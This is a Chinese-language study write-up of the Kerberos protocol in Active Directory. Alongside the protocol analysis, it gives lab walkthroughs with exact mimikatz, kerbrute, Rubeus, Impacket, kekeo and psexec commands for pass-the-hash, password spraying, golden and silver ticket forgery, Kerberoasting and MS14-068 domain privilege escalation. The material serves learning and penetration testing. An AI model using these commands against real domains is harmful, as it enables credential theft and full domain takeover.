kerberos认证协议学习

环境

目前环境有两台机器， 其一为Windows2008，IP为192.168.1.3 是域redream的成员。

‍

kerberos协议

Kerberos 协议是一种计算机网络授权协议，用来在非安全网络中，对个人通信以安全的手段进行身份认证。其设计目标是通过密钥系统为客户机与服务器应用程序提供强大的认证服务。该协议的认证过程的实现不依赖于主机操作系统的认证，无需基于主机地址的信任，不要求网络上所有主机的物理安全，并假定网络上传送的数据包可以被任意地读取、修改和插入数据。在以上情况下， Kerberos 作为一种可信任的第三方认证服务，是通过传统的密码技术（如：共享密钥）执行认证服务的。Kerberos 协议在在内网域渗透领域中至关重要，白银票据、黄金票据、攻击域控等都离不开 Kerberos 协议。 为了让阁下能够更轻松地理解后文对认证原理的讲解，你需要先了解以下几个关键角色：

‍

kerberos 概念名词解释

‍ (1)Client:访问服务的客户机 (2)Server:提供服务的服务器 (3)KDC(Key Distribution Center):密钥分发中心 (4)KDC中分成两个部分:Authentication Service和Ticket Granting Service Authentication Service(AS):身份验证服务 Ticket Granting Service(TGS):票据授予服务 AS和TGS如下： Authentication Service：AS的作用就是验证Client端的身份，验证通过之后，AS就会给TGT票据(Ticket Granting Ticket)给Client. Ticket-granting cookie(TGC):存放用户身份认证凭证的cookie，在浏览器和CAS Server间通讯时使用，是CAS Server用来明确用户身份的凭证。TGT封装了TGC值以及此Cookie值对应的用户信息. Ticket-granting ticket(TGT):TGT对象的ID就是TGC的值，在服务器端，通过TGC查询TGT. Ticket Granting Service(TGS)：TGS的作用是通过AS发送给Client的TGT换取访问Server端的ST(Server Ticket)给Client. SEerver Ticket(ST):ST服务票据，由TGS服务发布. (5)Active Directory(AD):活动目录 (6)Domain Controller(DC):域控制器 (7)Ticket-granting cookie(TGC):存放用户身份认证凭证的cookie，在浏览器和CAS Server间通讯时使用，是CAS Server用来明确用户身份的凭证。TGT封装了TGC值以及此Cookie值对应的用户信息. (8)Ticket-granting ticket(TGT):TGT对象的ID就是TGC的值，在服务器端，通过TGC查询TGT. 打个比方：当 whoami 要和 bunny 进行通信的时候，whoami 就需要向 bunny 证明自己是whoami，直接的方式就是 whoami 用二人之间的秘密做秘钥加密明文文字生成密文，把密文和明文文字一块发送给 bunny，bunny 再用秘密解密得到明文，把明文和明文文字进行对比，若一致，则证明对方是 whoami。 但是网络中，密文和文字很有可能被窃取，并且只要时间足够，总能破解得到秘钥。所以不能使用这种长期有效的秘钥，要改为短期的临时秘钥。那么这个临时秘钥就需要一个第三方可信任的机构来提供，即 KDC（Key Distribution Center）秘钥分发中心。 Kerberos认证的过程形象地比喻如下： 疫情期间，小明去拿一个重要包裹，由于包裹是来自海外的，所以需要严格登记： （1）拿包裹的时候，为了证明自己是合法公民，小明先把身份证给工作人员 （2）快递点的身份认证系统通过身份认证后，给小明一张身份认证通过证明 （3）小明拿着身份认证通过证明，来到快递收发处等一张拿快递的号码牌 （4）售票处给了张号码牌 （5）小明拿着号码牌拿快递去了 （6）在拿快递时，小明拿出自己的身份认证材料给快递点的工作人员，工作人员向快递公司的数据管理中心发了消息，问问小明是不是有包裹要拿 （7）数据管理中心将小明的快递单号，身份信息等发了过来 （8）工作人员将数据管理中心发来的信息与小明给的材料对比，得出小明是好公民，有一个重要包裹，于是带着小明来到仓库的金库，把装有老魔杖的包裹给了小明 在Kerboeros协议认证过程中，会用到两个基础认证模块，分别是ASREQ&ASREP和TGSREQ&TGSREP，以及在认证过程中可能会使用到的S4U和PAC这两个认证模块。

kerberos认证的问题

上面说了，因为kerberos协议的实现，需要三方的参与，分别如下： ‍ 1.client 访问服务的客户机 2.Server 提供服务的服务器 3.KDC(Key Distribution Center) 密钥分发中心 KDC服务会默认安装在一个域的域控中，所以可以直接理解为，AD与KDC均为域控制器,KDC服务框架中包含一个KRBTGT账户，它是在创建域时系统自动创建的一个账号。 ‍

kerberos认证协议原理流程

Kerberos认证过程如下图所示

• ASREQ & ASREP
• TGSREQ & TGSREP
• AP-REQ & AP-REP

‍ 其中：KDC中有AS认证服务与TGS认证服务

1. CLient向KDC的AS认证服务请求TGT票据，此处是AS_REQ流程
2. 认证通过后返回 TGT 给 Client，Client 得到 KDC发放的TGT（Ticket Granting Ticket）票据。此处是AS_REP流程
3. Client 继续拿着 TGT票据 请求 DC 访问 Server，TGS 通过 Client 消息中的 TGT票据请求ST的服务票据（Service Ticket）。此处是TGS_REQ流程
4. Client通过了TGS认证服务后，TGS将会发放ST服务票据给Client。此处是TGS_REP流程。
5. Client 得到 ST票据 后，再去向Server请求服务。此处是AP-REQ流程。
6. server拿到PAC询问KDC，client是否有权限访问资源
7. KDC将clinet的权限信息发送给server
8. server根据KDC返回的权限信息做对比，判断client是否有权限访问该服务，并把结果返回给client。此处是AP_REP流程。

注：（6）（7）两步不一定发生，需要将目标主机配置为验证KDC PAC验证。

ASREQ & ASREP分析

‍ 分析AS-REQ的数据包 AS-REQ：当某个域用户试图访问域中的某个服务，于是输入用户名和密码，本机Kerberos服务会向KDC的AS认证服务发送一个AS-REQ认证请求。该请求包中包含：请求用户名，客户端主机名，加密类型和Autherticator(用户NTLM Hash加密的时间戳)以及一些信息。 Client向KDC发起ASREQ请求凭据是用户hash加密的时间戳。请求凭据放在PADATA里面。 我们这里直接抓包来看，让域内机器user1使用用户test来登录。 ‍

1.AS-REQ

2.AS-REQ不同的包

‍

用户名和密码正确的包

用户名不正确的包

用户名正确的包

密码不正确的包

AS-REQ流程的的攻击面

通过上面的抓包分析可以得出： 1.HASH传递 2.域内用户枚举 3.密码喷洒

HASH传递攻击方法

在AS-REQ阶段，是用用户密码Hash加密的Authenticator，所以也就造成了hash传递。

mimikatz进行hash传递

这里mimikatz获取hash导出到log日志中，命令如下 mimikatz log privilege::debug sekurlsa::ekeys ‍

执行传递

‍ sekurlsa::pth /user:administrator /domain:192.168.10.5 /ntlm:7c64e7ebf46b9515c56b2dd522d21c1c

KB2871997补丁的传递方法

PTK（pass the key）

获取aes-key: privilege::debug sekurlsa::ekeys

域内用户枚举

AS-REQ 的 cname 值，当用户不存在时，返回包提示错误，所以造成了改攻击方式。

攻击方法

使用kerbrute工具： https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrutewindowsamd64.exe 前提需要DC需要开启kerberos 88端口

原理：

使用kerbrute进行错误枚举的原理就是kerberos有三种错误代码： KDCERRPREAUTHREQUIRED-需要额外的预认证（启用） KDCERRCLIENTREVOKED-客户端凭证已被吊销（禁用） KDCERRCPRINCIPALUNKNOWN-在Kerberos数据库中找不到客户端（不存在） 在DC抓包可以看到有4个UNKNOWN，1个REQUIRED，证明有这个用户名存在

密码喷洒

并且当用户名存在，密码正确和错误时，返回包也不一样，所以可以进行用户名密码爆破。这种针对所有用户的自动密码猜测通常是为了避免帐户被锁定，因为针对同一个用户的连续密码猜测会导致帐户被锁定。所以只有对所有用户同时执行特定的密码登录尝试，才能增加破解的概率，消除帐户被锁定的概率 使用以下命令 kerbrutewindowsamd64.exe passwordspray --dc 192.168.10.5 -d Drunkmars.com user.txt Fcb0519..

原理：

密码同样存在三种错误代码 KDCERRPREAUTHREQUIRED-需要额外的预认证（启用） KDCERRCLIENTREVOKED-客户端凭证已被吊销（禁用） KDCERRCPRINCIPALUNKNOWN-在Kerberos数据库中找不到客户端（不存在） 同样在DC抓包，有4个UNKNOWN，1个REQUIRED

AS-REP数据包

AS-REP：Client发送ASREQ，请求凭据是用户 hash加密的时间戳。请求凭据放在PADATA里面。 当KDC中的AS认证服务收到后，在AS服务器中有用户hash，使用用户hash进行解密，获得时间戳 ，如果 解密成功，并且时间戳在五分钟之内 ，那么 预认证通过 。接着AS认证服务将会向Client发送响应包，响应包中包括krbtgt用户的NTML hash加密后的TGT票据以及 用户NTML Hash加密的Login Session key和其他信息 。

AS-REP的攻击面

黄金票据

在 AS-REP 阶段，由于返回的 TGT 认购权证是由 krbtgt 用户的密码Hash加密的，因此如果我们拥有 krbtgt 的 hash 就可以自己制作一个TGT认购权证，这就造成了黄金票据攻击 伪造黄金票据的条件： 我们伪造凭证，需要以下信息：

• 域名
• 域的SID值
• 域的KRBTGT账号的HASH
• 伪造的域管理员用户名

‍

黄金票据攻击实践

收集域信息

netconfig workstation

导出HASH

privilege::debug lsadump::dcsync /domain:redteam.com /all /csv 用管理权限使用mimikatz.exe导出用户的krbtgt的hash

收集Krbtgt的SID信息

lsadump::dcsync /domain:redteam.com /user:krbtgt 或者 wmic useraccount get name,sid

利用mimikatz生成黄金票据

mimikatz.exe "kerberos::golden /user:Administrator /domain:redteam.com /sid:S-1-5-21-767623950-3225260823-3670188588 /krbtgt:fb2227f9e9e6c9ad490ebic2fa6a8625 /ticket:qqq.kirbi" exit /admin：伪造的用户名（任意） /domain：域名称 /sid：sid值，注意要去掉最后一个值 -后面的值 /krbtgt：krbtgt的hash值 /ticket：生成的票据名称 或者 kerberos::golden /user:administrator12 /domain:redteam.com /sid:S-1-5-21-767623950-3225260823-3670188588 /krbtgt:fb2227f9e9e6c9ad490eb1c2fa6a8625 /ptt #生成票据并导入

查看导入的票据

kerberos::purge kerberos::ptt ticket.kirbi

查询DC机器C盘目录

dir \dc.redteam.com\c$ dir \计算机名.域名\c$

TGSREQ&TGSREP分析

Client与TGS之间认证使用TGSREQ&TGSREP模块 ‍ ‍ Client在拿到TGT和Login Session Key之后，下一步的认证交互在于 KDC中的TGS认证服务 ，主要目的是为了获取 ST服务票据 ，因为当Client需要访问某服务器中的某服务时，需要 "门票" --ST服务票据 这一阶段，微软引进了两个扩展S4U2SELF和S4U2PROXY。

TGS-REQ数据包分析

该数据包中的主要内容为：客户端信息，Authenticator(Login Session Key加密的时间戳)、TGT认证权证(padata下ap-req下的ticket)以及访问的服务名等。

TGS-REP数据包分析

TGS-REP：当TGS收到请求后，将会检查自身是否存在客户端所请求的服务，如果服务存在， 通过krbtgt用户的NTML hash解密TGT并且得到Login Session Key ，通过 Login Session Key解密Authenticator 。

TGS-REP的攻击面

1.Kerberoast攻击

概念：就是攻击者为了获取目标服务的访问权限，而设法破解Kerberos服务票据并重写它们的过程。这是红队当中非常常见的一种攻击手法，因为它不需要与服务目标服务进行任何交互，并且可以使用合法的活动目录访问来请求和导出可以离线破解的服务票据，以获取到最终的明文密码。之所以出现这种情况，是因为服务票据使用服务帐户的散列（NTLM）进行加密，所以任何域用户都可以从服务转储散列，而无需将shell引入运行该服务的系统中。 ‍ 攻击者通常会选择那些可能设置了弱密，码破解成功率较高的票据来尝试破解。一旦攻击者成功破解出了票据，他们有时不仅仅获取的只是服务访问权限，如果服务被配置为在高权限下运行，那么整个域都将可能被攻击者拿下。这些票据可以通过考虑多种因素来识别，例如： SPNs绑定到域用户账户 最后一次密码设置（Password last set） 密码过期时间 最后一次登录（Last logon） 具体来说，Kerberoast攻击涉及以下五个步骤： 服务主体名称（SPN）发现 请求服务票据 导出服务票据 破解服务票据 重写服务票据&RAM注入 ‍ 原理：

• 知道相关服务的 SPN 后，可以用 SPN 申请一张 ST 票据。在 kerberos 协议的第 4 步，用户会收到由 server 实例的 NTLM hash 加密生成的 ST 票据，加密算法为 RC4-HMAC-MD5，尝试穷举 hash，模拟加密过程，进行破解（注意和银票的区别）。
• 任何域用户都可以合法的从 AD 中提取服务账号凭据，不需要与服务目标服务进行任何交互，大多数操作都是离线完成，不会触发告警。
• 服务账号密码未设置过期时间，或者与域普通用户密码相同以及账号权限过高等都是问题。
• 域内具有 Read servicePrincipalName 和 Write serverPrincipalName 的域用户具有注册 SPN 的权利。

流程：

1. 找到有价值的 SPN（需要满足的条件：该 SPN 注册在域用户帐户下并且域用户账户的权限较高）
2. 请求 TGS
3. 导出 ST
4. 暴力破解
5. 服务票据重写
6. 权限维持

前面没有了解到SPN，所以先了解一下SPN之后再回头来做实践。

SPN

概念： SPN，全名为：Service Principal Names，即“服务主体名称”。它是域中服务的唯一标识，每个Kerberos服务都必须要有一个SPN，服务在加入域时，会自动注册一个SPN。 如果未进行 SPN 注册或注册失败（名称不唯一），则 Windows 安全层无法确定与 SPN 关联的帐户，因而无法使用 Kerberos 身份验证。 格式： SPN的格式为：/:/，其中service class和host为必需参数。

• service class为服务类型名称，你可以使用除“/”之外的任何名称（因为SPN使用它作为分隔符），只需要保证它是唯一的名称，但是一般建议使用通用名称，如“www”，“ldap”等
• host为运行服务的主机名，可以使用DNS名（如：os.hacker.com）或NetBIOS名（如：os），但要注意的是因为NetBIOS名可能会在林中不唯一，会导致SPN注册失败。
• host为可选参数，同一服务在同一host上运行时，使用此来加以区别。服务仅使用默认端口时（如80），可以省略。
• service name为服务实例名称，不太重要，微软有个这样的例子:MyDBService/host1/CN=hrdb,OU=mktg,DC=example,DC=com

一个SPN命名实例：MySQLSvc/os.hacker.com:3306 或 MySQLSvc/hacker等。 分类：

• 当一个服务的权限为 Local System 或 Network Service，则 SPN 会自动注册在机器帐户下。
• 当一个服务的权限为一个域用户，则 SPN 需要手动注册在域用户帐户下。

验证： 在 Kerberos 验证第 3 步中，client 向 TGS 发送 TGT 的同时，发送需要访问服务的 SPN；在第 4 步，TGS 会查询对应 SPN 的服务记录，找到服务后开始验证 TGT，最后 TGS 生成对应 SPN 服务的 ST 票据。 ‍

查询SPN

对域控制器发起LDAP查询，这是正常kerberos票据行为的一部分，因此查询SPN的操作很难被检测。

使用SetSPN

Win7和Windows Server2008自带的工具 查看当前域内的所有SPN： ‍ setspn.exe -q /

实现Kerberoasting攻击的前提

• 对于kerberos协议认证过程中返回的tgs_reply，在已知加密算法的前提下，我们可以尝试穷举口令。( 服务密码一般默认为弱密码 )
• Windows系统通过SPN查询获得服务和服务实例帐户的对应关系
• 域内的主机都能查询SPN。
• 域内的任何用户都可以向域内的任何服务请求TGS。

‍

申请ST票据

前面提到过寻找有价值的SPN服务，那么什么是有价值的呢 可以远程连接，高权限 ，因为计算机域帐户不可以远程连接，所以我们目标一般都是域用户。 使用Rubeus工具 https://github.com/GhostPack/Rubeus 这是一个专门针对Kerberos的工具包。

依赖.net环境 Rubeus.exe kerberoast

使用Powershell命令请求

使用微软提供的类KerberosRequestorSecurityToken发起Kerberos请求，申请指定SPN的ST票据。Kerberos 协议中请求的票据会保存在内存中，可以通过 klist 命令查看当前会话存储的 kerberos 票据

请求服务票据 Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "SPN名" #New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/WIN-7.bean.testlab:1433" #列出服务票据 klist

使用mimikatz请求

申请指定SPN的ST票据

请求服务票据 kerberos::ask /target:MSSQLSvc/WIN-7.bean.testlab:1433 #列出服务票据 kerberos::list #清除所有票据 kerberos::purge

使用Impacket中的GetUserSPNs请求

需要提供域账户密码才能使用，该脚本会直接输出hashcat格式的服务票据，可以直接使用hashcat进行爆破

GetUserSPNs.exe -request -dc-ip x.x.x.x 域名称/域用户:密碼 GetUserSPNs.exe -request -dc-ip 172.16.1.1 bean.testlab/test:test123456 > r.txt

导出服务票据

查看票据列表可用一些命令：

cmd klist #mimikatz mimikatz.exe "kerberos::list" #MSF load kiwi kerberosticketlist 或 load kiwi kiwi_cmd kerberos::lists

导出：

mimikatz 导出后缀为.kirbi mimikatz.exe "kerberos::list /export" "exit" #Empire下的Invoke-Kerberos.ps1 powershell.exe -exec bypass -Command "& {Import-Module .\Invoke-Kerberoast.ps1;Invoke-Kerberoast -outputFormat Hashcat}"

暴力破解

tgsrepcrack.py kerberoast工具包中的tgsrepcrack.py，可直接对mimikatz导出.kirbi文件进行破解 python tgsrepcrack.py pass.txt xx.kirbi

服务票据重写&RAM注入

ST票据使用服务密码的NTLM哈希签名。如果票据散列已被破解，那么可以使用Kerberoast python脚本重写票据。这将允许在服务被访问时模拟任何域用户或伪造账户。此外，提权也是可能的，因为用户可以被添加到诸如域管理员的高权限组中。 python kerberoast.py -p Password123 -r PENTESTLAB001.kirbi -w PENTESTLAB.kirbi -u 500 python kerberoast.py -p Password123 -r PENTESTLAB001.kirbi -w PENTESTLAB.kirbi -g 512 使用以下Mimikatz命令将新票据重新注入内存，以便通过Kerberos协议对目标服务执行身份验证。 kerberos::ptt PENTESTLAB.kirbi

参考

域渗透-SPN ‍

白银票据

在TGS-REP阶段，TGS_REP里面的ticket的enc-part是使用服务的hash进行加密的，如果我们拥有服务的hash，就可以给我们自己签发任意用户的TGS票据，这个票据也被称为白银票据。相较于黄金票据，白银票据使用要访问服务的hash，而不是krbtgt的hash，由于生成的是TGS票据，不需要跟域控打交道，所以可以绕过域控制器，很少留下日志。而黄金票据在利用过程中由KDC颁发TGT，并且在生成伪造的TGT得20分钟内，TGS不会对该TGT的真伪进行效验。如果说黄金票据是伪造的TGT,那么白银票据就是伪造的ST，所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,但是白银票票据只能访问特定服务。但是要注意的一点是，伪造的白银票据没有带有有效KDC签名的PAC。如果将目标主机配置为验证KDC PAC签名，则银票将不起作用。

白银票据的特点

1.白银票据是一个有效的票据授予服务（TGS）Kerberos票据，因为Kerberos验证服务运行的每台服务器都对服务主体名称的服务帐户进行加密和签名。 2.黄金票据是伪造TGT并且有效的获得任何Kerberos服务，而白银票据是伪造TGS。这意味着白银票据仅限于特定服务器上的任何服务。 3.大多数服务不验证PAC（通过将PAC校验和发送到域控制器进行PAC验证），因此使用服务帐户密码哈希生成的有效TGS可以完全伪造PAC 4.攻击者需要服务帐户密码哈希值 5.TGS是伪造的，所以没有和TGT通信，意味着DC从验证过。 6.任何事件日志都在目标服务器上。

白银票据和黄金票据区别

• 获取的权限不同 金票：伪造的TGT，可以获取任意Kerberos的访问权限 银票：伪造的ST，只能访问指定的服务，如CIFS
• 认证流程不同 金票：同KDC交互，但不同AS交互 银票：不同KDC交互，直接访问Server

• 加密方式不同 金票：由krbtgt NTLM Hash 加密 银票：由服务账号 NTLM Hash 加密

  白银票据实践

  我们伪造凭证，需要以下信息

• 要伪造的域用户(任意用户或者不存在的用户，这里我们一般填写域管理员账户)
• 域名
• 域的SID值(就是域成员SID值去掉最后的一节)
• 目标服务的FQDN（FQDN：全限定域名，同时带有主机名和域名的名称。如：dc.bean.testlab）
• 可利用的服务
• 域服务账户NTLM哈希

• 只有KDC能制作和查看PAC。

  白银票据的服务列表

  服务名称 同时需要的服务 WMI HOST、RPCSS PowerShell Remoting HOST、HTTP WinRM HOST、HTTP Scheduled Tasks HOST Windows File Share CIFS LDAP LDAP Windows Remote Server RPCSS、LDAP、CIFS 除上述外目标机器不能开启PAC（特权属性证书）验证，PAC用于客户端和服务端交互阶段用于鉴权，带有签名，如果没有krbtgt的hash以及服务的hash就没办法伪造有效的签名。（MS14-068可绕过）

  域控下执行 mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > 1.txt #也可使用dcsync在其他机器的域管账户下执行，用户填域控的机器名 mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:bean.testlab /user:dc$" "exit" > 1.txt

  

  e49051446e697bb3f91bac430da93c3e S-1-5-21-767623950-3225260823-3670188588

  伪造CIFS

  伪造CIFS权限，CIFS常用于主机之间的文件共享

  mimikatz.exe "kerberos::golden /domain:域名 /sid:域SID /target:目标的FQDN /service:服务类型 /rc4:NTLMHash /user:伪造的用户名 /ptt" mimikatz.exe ”kerberos::golden /domain:redteam.com /sid:S-1-5-21-767623950-3225260823-3670188588 /target:dc.redteam.com /service:cifs /rc4:e49051446e697bb3f91bac430da93c3e /user:administrator /ptt“ /domain：域名 /sid ；sid值 /target：域控制器全称 /service：需要指定相关的服务名，此处为cifs /rc4:域控的计算机账户ntlm hash /user：要伪造的用户名，任意写 dir \dc\c$

  

  ‍ 访问DC成功。 ‍ ‍ ‍

  Kerberos协议的各阶段攻击手法

  

  Image ‍

  MS14-068域提权

  一、漏洞说明 改漏洞可能允许攻击者将未经授权的域用户账户的权限,提权到域管理员的权限。 微软官方解释: https://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2014/ms14-068 二、漏洞原理 Kerberos认证原理:https://www.cnblogs.com/huamingao/p/7267423.html 服务票据是客户端直接发送给服务器,并请求服务资源的。如果服务器没有向域控dc验证pac的话,那么客户端可以伪造域管的权限来访问服务器。 三、漏洞利用前提 1.域控没有打MS14-068的补丁 2.攻击者拿下了一台域内的普通计算机,并获得普通域用户以及密码/hash值，以及用户的suid 四、工具下载 Ms14-068.exe 下载地址:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068 PSexec 下载地址:https://github.com/crupper/Forensics-Tool-Wiki/blob/master/windowsTools/PsExec64.exe mimikatz 下载地址:https://github.com/gentilkiwi/mimikatz/releases ‍ 五、漏洞利用 如果当前用户为域用户 可以直接用 whoami /user 获取sid

  

  如果不是只是本地用户可以用mimikatz 抓取本地的域用户密码 记住mimikatz要有管理员权限不然无法抓取内存密码，可以以管理员权限运行。

  

  利用ms14-068.exe 工具生成伪造的kerberos协议认证证书

  MS14-068.exe -u @ -p -s -d ms-14-068.exe -u 域用户@域控名 -p 域用户密码 -s 域用户sid -d 域ip

  

  利用mimikatz.exe将证书写入，从而提升为域管理员 kerberos::ptc 你的证书名字 kerberos::ptc TGT_zhangsan@ggyao.com.ccache 写入成功后，成功dir域控C盘

  

  ‍

  使用psexec.exe获取一个交互式shell

  psexec.exe \WIN-2008-DC.ggyao.com cmd

  

  ‍ psexec执行单条命令： psexec.exe \WIN-2008-DC.ggyao.com cmd /c “ipconfig”

  

  ‍

  方法2：goldenPac.exe（推荐使用）

  （https://github.com/maaaaz/impacket-examples-windows） 此工具是impacket工具包里的，它是MS14-068+psexec的组合，因此使用起来非常放方便快捷。 goldenPac.exe ggyao.com/zhangsan:Aatesttest@WIN-2008-DC.ggyao.com

  

  ‍

  方法3：kekeo.exe

  （https://github.com/gentilkiwi/kekeo/releases） 通过kekeo.exe获取域控权限，此工具并非每次都能成功利用。 kekeo.exe “exploit::ms14068 /domain:ggyao.com /user:zhangsan /password:Aatesttest /ptt” “exit”

  

  ‍

  注意事项

  1.票据伪造的机器不一定需要在域里，将DNS指向域控，能解析就行。 2.IPC$访问域控的时候需要使用主机名，不能使用IP。 ‍

  漏洞原理：

  其实出现这个问题的关键点在于PAC(特权属性证书:验证用户所拥有的权限) 先大致回顾一下Kerberos的认证流程

• 域用户登录，向KDC的AS服务发送自身密码加密的时间戳进行预认证；
• DC的AS服务验证用户密码是否正确。若正确，返回一张TGT票据，该票据为krbtgt密码加密而成；
• 域用户凭借TGT票据向KDC的TGS服务申请访问某Server服务的票据；
• 域控的TGS服务验证TGT后，返回给域用户能够访问该Server服务的票据(ST, TGS Ticket)；
• 域用户拿着ST访问对应的Server服务；
• 该Server服务验证ST，决定是否允许让域用户访问。

其中，PAC是默认包含在TGT中的； 通常情况下，ASREQ 请求中如果include-pac被置为 true，只要 AS 服务通过了域用户的认证，则会在返回的 ASREP 数据包中的 TGT 中加入 PAC 信息； 而如果在 ASREQ 请求时，include-pac被置为 false，则 ASREP 返回的 TGT 中就不会包含 PAC 信息。 于是在ASREP返回的TGT中没有PAC信息后，域用户则可以伪造"恶意"的PAC放入TGSREQ中，KDC解密PAC后会再次加密到一个新的TGT中并返回给域用户，此时的TGT中已经携带了“恶意”PAC，也就达到漏洞利用的目的。